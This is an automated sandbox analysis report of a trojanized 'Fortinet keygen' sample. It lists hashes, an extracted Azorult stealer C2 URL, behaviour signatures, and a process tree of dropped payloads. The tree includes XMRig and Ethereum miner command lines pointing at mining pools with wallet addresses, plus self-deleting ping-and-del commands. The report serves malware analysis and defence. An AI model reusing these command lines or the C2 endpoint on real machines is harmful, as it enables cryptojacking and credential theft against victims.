Analysis
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max time kernel
60s -
max time network
61s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
02-04-2021 21:10
Static task
static1
Behavioral task
behavioral1
Sample
Fortinet.v1.0.keygen.exe
Resource
win10v20201028
Behavioral task
behavioral2
Sample
Fortinet.v1.0.keygen.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
Fortinet.v1.0.keygen.exe
Resource
win10v20201028
Behavioral task
behavioral4
Sample
Fortinet.v1.0.keygen.exe
Resource
win10v20201028
General
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Target
Fortinet.v1.0.keygen.exe
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Size
5.4MB
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MD5
2a2be5dbf78e57ac4fd460faa2a52488
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SHA1
8e0791500aeb17c4dc950e1a8c90d6036fb49d5b
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SHA256
b66f057295395c28f1dd0d6807ac2c174885235d63ab3f3ff5b3d87719780228
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SHA512
8715562e1b9e7c2357f95f3beb66383de7ec16d4dfbf7f0230a922ea420d27378e22ced50ee9d7e0da30a05bf269d5a07ca1a736b1b0828f3afbdfc8c10b9038
Malware Config
Extracted
azorult
http://kvaka.li/1210776429.php
Signatures
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Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
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XMRig Miner Payload 2 IoCs
resource yara_rule behavioral1/memory/2236-164-0x00000001402CA898-mapping.dmp xmrig behavioral1/memory/2236-163-0x0000000140000000-0x000000014070A000-memory.dmp xmrig -
Executes dropped EXE 11 IoCs
pid Process 3636 keygen-pr.exe 2776 keygen-step-1.exe 1136 keygen-step-3.exe 2068 keygen-step-4.exe 1292 Setup.exe 3740 key.exe 1528 key.exe 1392 multitimer.exe 3980 setups.exe 1460 askinstall20.exe 2180 setups.tmp -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 61 api.ipify.org -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3740 set thread context of 1528 3740 key.exe 87 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Kills process with taskkill 1 IoCs
pid Process 4144 taskkill.exe -
Runs ping.exe 1 TTPs 2 IoCs
pid Process 3984 PING.EXE 5344 PING.EXE -
Suspicious use of AdjustPrivilegeToken 35 IoCs
description pid Process Token: SeDebugPrivilege 1292 Setup.exe Token: SeCreateTokenPrivilege 1460 askinstall20.exe Token: SeAssignPrimaryTokenPrivilege 1460 askinstall20.exe Token: SeLockMemoryPrivilege 1460 askinstall20.exe Token: SeIncreaseQuotaPrivilege 1460 askinstall20.exe Token: SeMachineAccountPrivilege 1460 askinstall20.exe Token: SeTcbPrivilege 1460 askinstall20.exe Token: SeSecurityPrivilege 1460 askinstall20.exe Token: SeTakeOwnershipPrivilege 1460 askinstall20.exe Token: SeLoadDriverPrivilege 1460 askinstall20.exe Token: SeSystemProfilePrivilege 1460 askinstall20.exe Token: SeSystemtimePrivilege 1460 askinstall20.exe Token: SeProfSingleProcessPrivilege 1460 askinstall20.exe Token: SeIncBasePriorityPrivilege 1460 askinstall20.exe Token: SeCreatePagefilePrivilege 1460 askinstall20.exe Token: SeCreatePermanentPrivilege 1460 askinstall20.exe Token: SeBackupPrivilege 1460 askinstall20.exe Token: SeRestorePrivilege 1460 askinstall20.exe Token: SeShutdownPrivilege 1460 askinstall20.exe Token: SeDebugPrivilege 1460 askinstall20.exe Token: SeAuditPrivilege 1460 askinstall20.exe Token: SeSystemEnvironmentPrivilege 1460 askinstall20.exe Token: SeChangeNotifyPrivilege 1460 askinstall20.exe Token: SeRemoteShutdownPrivilege 1460 askinstall20.exe Token: SeUndockPrivilege 1460 askinstall20.exe Token: SeSyncAgentPrivilege 1460 askinstall20.exe Token: SeEnableDelegationPrivilege 1460 askinstall20.exe Token: SeManageVolumePrivilege 1460 askinstall20.exe Token: SeImpersonatePrivilege 1460 askinstall20.exe Token: SeCreateGlobalPrivilege 1460 askinstall20.exe Token: 31 1460 askinstall20.exe Token: 32 1460 askinstall20.exe Token: 33 1460 askinstall20.exe Token: 34 1460 askinstall20.exe Token: 35 1460 askinstall20.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3980 setups.exe -
Suspicious use of WriteProcessMemory 52 IoCs
description pid Process procid_target PID 3920 wrote to memory of 200 3920 Fortinet.v1.0.keygen.exe 78 PID 3920 wrote to memory of 200 3920 Fortinet.v1.0.keygen.exe 78 PID 3920 wrote to memory of 200 3920 Fortinet.v1.0.keygen.exe 78 PID 200 wrote to memory of 3636 200 cmd.exe 81 PID 200 wrote to memory of 3636 200 cmd.exe 81 PID 200 wrote to memory of 3636 200 cmd.exe 81 PID 200 wrote to memory of 2776 200 cmd.exe 82 PID 200 wrote to memory of 2776 200 cmd.exe 82 PID 200 wrote to memory of 2776 200 cmd.exe 82 PID 200 wrote to memory of 1136 200 cmd.exe 83 PID 200 wrote to memory of 1136 200 cmd.exe 83 PID 200 wrote to memory of 1136 200 cmd.exe 83 PID 200 wrote to memory of 2068 200 cmd.exe 84 PID 200 wrote to memory of 2068 200 cmd.exe 84 PID 200 wrote to memory of 2068 200 cmd.exe 84 PID 2068 wrote to memory of 1292 2068 keygen-step-4.exe 85 PID 2068 wrote to memory of 1292 2068 keygen-step-4.exe 85 PID 3636 wrote to memory of 3740 3636 keygen-pr.exe 86 PID 3636 wrote to memory of 3740 3636 keygen-pr.exe 86 PID 3636 wrote to memory of 3740 3636 keygen-pr.exe 86 PID 1136 wrote to memory of 1540 1136 keygen-step-3.exe 88 PID 1136 wrote to memory of 1540 1136 keygen-step-3.exe 88 PID 1136 wrote to memory of 1540 1136 keygen-step-3.exe 88 PID 3740 wrote to memory of 1528 3740 key.exe 87 PID 3740 wrote to memory of 1528 3740 key.exe 87 PID 3740 wrote to memory of 1528 3740 key.exe 87 PID 3740 wrote to memory of 1528 3740 key.exe 87 PID 3740 wrote to memory of 1528 3740 key.exe 87 PID 3740 wrote to memory of 1528 3740 key.exe 87 PID 3740 wrote to memory of 1528 3740 key.exe 87 PID 3740 wrote to memory of 1528 3740 key.exe 87 PID 3740 wrote to memory of 1528 3740 key.exe 87 PID 3740 wrote to memory of 1528 3740 key.exe 87 PID 3740 wrote to memory of 1528 3740 key.exe 87 PID 3740 wrote to memory of 1528 3740 key.exe 87 PID 3740 wrote to memory of 1528 3740 key.exe 87 PID 3740 wrote to memory of 1528 3740 key.exe 87 PID 3740 wrote to memory of 1528 3740 key.exe 87 PID 1540 wrote to memory of 3984 1540 cmd.exe 91 PID 1540 wrote to memory of 3984 1540 cmd.exe 91 PID 1540 wrote to memory of 3984 1540 cmd.exe 91 PID 1292 wrote to memory of 1392 1292 Setup.exe 92 PID 1292 wrote to memory of 1392 1292 Setup.exe 92 PID 1292 wrote to memory of 3980 1292 Setup.exe 94 PID 1292 wrote to memory of 3980 1292 Setup.exe 94 PID 1292 wrote to memory of 3980 1292 Setup.exe 94 PID 2068 wrote to memory of 1460 2068 keygen-step-4.exe 95 PID 2068 wrote to memory of 1460 2068 keygen-step-4.exe 95 PID 2068 wrote to memory of 1460 2068 keygen-step-4.exe 95 PID 3980 wrote to memory of 2180 3980 setups.exe 96 PID 3980 wrote to memory of 2180 3980 setups.exe 96 PID 3980 wrote to memory of 2180 3980 setups.exe 96
Processes
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C:\Users\Admin\AppData\Local\Temp\Fortinet.v1.0.keygen.exe"C:\Users\Admin\AppData\Local\Temp\Fortinet.v1.0.keygen.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3920 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:200 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3636 -
C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3740 -
C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe -txt -scanlocal -file:potato.dat5⤵
- Executes dropped EXE
PID:1528
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C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
PID:2776
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C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1136 -
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:1540 -
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
PID:3984
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C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2068 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1292 -
C:\Users\Admin\AppData\Local\Temp\TV82H9QB26\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\TV82H9QB26\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
PID:1392 -
C:\Users\Admin\AppData\Local\Temp\TV82H9QB26\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\TV82H9QB26\multitimer.exe" 1 3.1617397882.6067887a57897 1016⤵PID:4564
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C:\Users\Admin\AppData\Local\Temp\TV82H9QB26\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\TV82H9QB26\multitimer.exe" 2 3.1617397882.6067887a578977⤵PID:5052
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C:\Users\Admin\AppData\Local\Temp\uwnqmorejpo\KiffApp1.exe"C:\Users\Admin\AppData\Local\Temp\uwnqmorejpo\KiffApp1.exe"8⤵PID:2248
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C:\Users\Admin\AppData\Local\Temp\galfinxu4xw\app.exe"C:\Users\Admin\AppData\Local\Temp\galfinxu4xw\app.exe" /8-238⤵PID:4604
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C:\Users\Admin\AppData\Local\Temp\xhh2kms5o4l\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\xhh2kms5o4l\cpyrix.exe" /VERYSILENT8⤵PID:4544
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C:\Users\Admin\AppData\Local\Temp\5zd4ehtztn0\g5lcue5akkd.exe"C:\Users\Admin\AppData\Local\Temp\5zd4ehtztn0\g5lcue5akkd.exe" /VERYSILENT8⤵PID:5188
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C:\Users\Admin\AppData\Local\Temp\is-SHL09.tmp\g5lcue5akkd.tmp"C:\Users\Admin\AppData\Local\Temp\is-SHL09.tmp\g5lcue5akkd.tmp" /SL5="$202DE,2592217,780800,C:\Users\Admin\AppData\Local\Temp\5zd4ehtztn0\g5lcue5akkd.exe" /VERYSILENT9⤵PID:5240
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C:\Users\Admin\AppData\Local\Temp\acvf2rvd5oz\vict.exe"C:\Users\Admin\AppData\Local\Temp\acvf2rvd5oz\vict.exe" /VERYSILENT /id=5358⤵PID:5268
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C:\Users\Admin\AppData\Local\Temp\is-9V53J.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-9V53J.tmp\vict.tmp" /SL5="$10360,870426,780800,C:\Users\Admin\AppData\Local\Temp\acvf2rvd5oz\vict.exe" /VERYSILENT /id=5359⤵PID:5320
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C:\Users\Admin\AppData\Local\Temp\e3mwxv0ajib\rrctkweflj3.exe"C:\Users\Admin\AppData\Local\Temp\e3mwxv0ajib\rrctkweflj3.exe"8⤵PID:5392
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C:\Users\Admin\AppData\Local\Temp\s15eqsylrow\0ieudobpinj.exe"C:\Users\Admin\AppData\Local\Temp\s15eqsylrow\0ieudobpinj.exe" /ustwo INSTALL8⤵PID:5484
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C:\Users\Admin\AppData\Local\Temp\abm0v3q0eoo\vpn.exe"C:\Users\Admin\AppData\Local\Temp\abm0v3q0eoo\vpn.exe" /silent /subid=4828⤵PID:5520
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C:\Users\Admin\AppData\Local\Temp\is-PGF8M.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-PGF8M.tmp\vpn.tmp" /SL5="$502CA,15170975,270336,C:\Users\Admin\AppData\Local\Temp\abm0v3q0eoo\vpn.exe" /silent /subid=4829⤵PID:5604
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C:\Users\Admin\AppData\Local\Temp\r0wtqmp2ddh\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\r0wtqmp2ddh\Setup3310.exe" /Verysilent /subid=5778⤵PID:5704
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C:\Users\Admin\AppData\Local\Temp\is-QFC1G.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-QFC1G.tmp\Setup3310.tmp" /SL5="$502C6,138429,56832,C:\Users\Admin\AppData\Local\Temp\r0wtqmp2ddh\Setup3310.exe" /Verysilent /subid=5779⤵PID:5776
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C:\Users\Admin\AppData\Local\Temp\wneqcmdfftd\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\wneqcmdfftd\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵PID:5908
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C:\Users\Admin\AppData\Local\Temp\BT62J4KEZP\setups.exe"C:\Users\Admin\AppData\Local\Temp\BT62J4KEZP\setups.exe" ll5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3980 -
C:\Users\Admin\AppData\Local\Temp\is-UOJR3.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-UOJR3.tmp\setups.tmp" /SL5="$401D0,635399,250368,C:\Users\Admin\AppData\Local\Temp\BT62J4KEZP\setups.exe" ll6⤵
- Executes dropped EXE
PID:2180
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C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1460 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵PID:3140
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C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
PID:4144
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C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full Program Features.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full Program Features.exe"4⤵PID:4488
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"5⤵PID:4584
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install6⤵PID:4804
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C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"4⤵PID:4608
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C:\Users\Admin\AppData\Roaming\7BAE.tmp.exe"C:\Users\Admin\AppData\Roaming\7BAE.tmp.exe"5⤵PID:1324
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C:\Users\Admin\AppData\Roaming\7BAE.tmp.exe"C:\Users\Admin\AppData\Roaming\7BAE.tmp.exe"6⤵PID:5100
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C:\Users\Admin\AppData\Roaming\8023.tmp.exe"C:\Users\Admin\AppData\Roaming\8023.tmp.exe"5⤵PID:4636
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C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 999996⤵PID:1840
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C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 99996⤵PID:2236
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C:\Users\Admin\AppData\Roaming\82D4.tmp.exe"C:\Users\Admin\AppData\Roaming\82D4.tmp.exe"5⤵PID:4836
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"5⤵PID:5144
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
PID:5344
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C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"4⤵PID:5220
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C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:4336
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C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:4396
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:4904
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C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:2692
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C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4332
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C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\2351111ad2274e60bbf25b42872e6cf4 /t 4552 /p 26921⤵PID:5576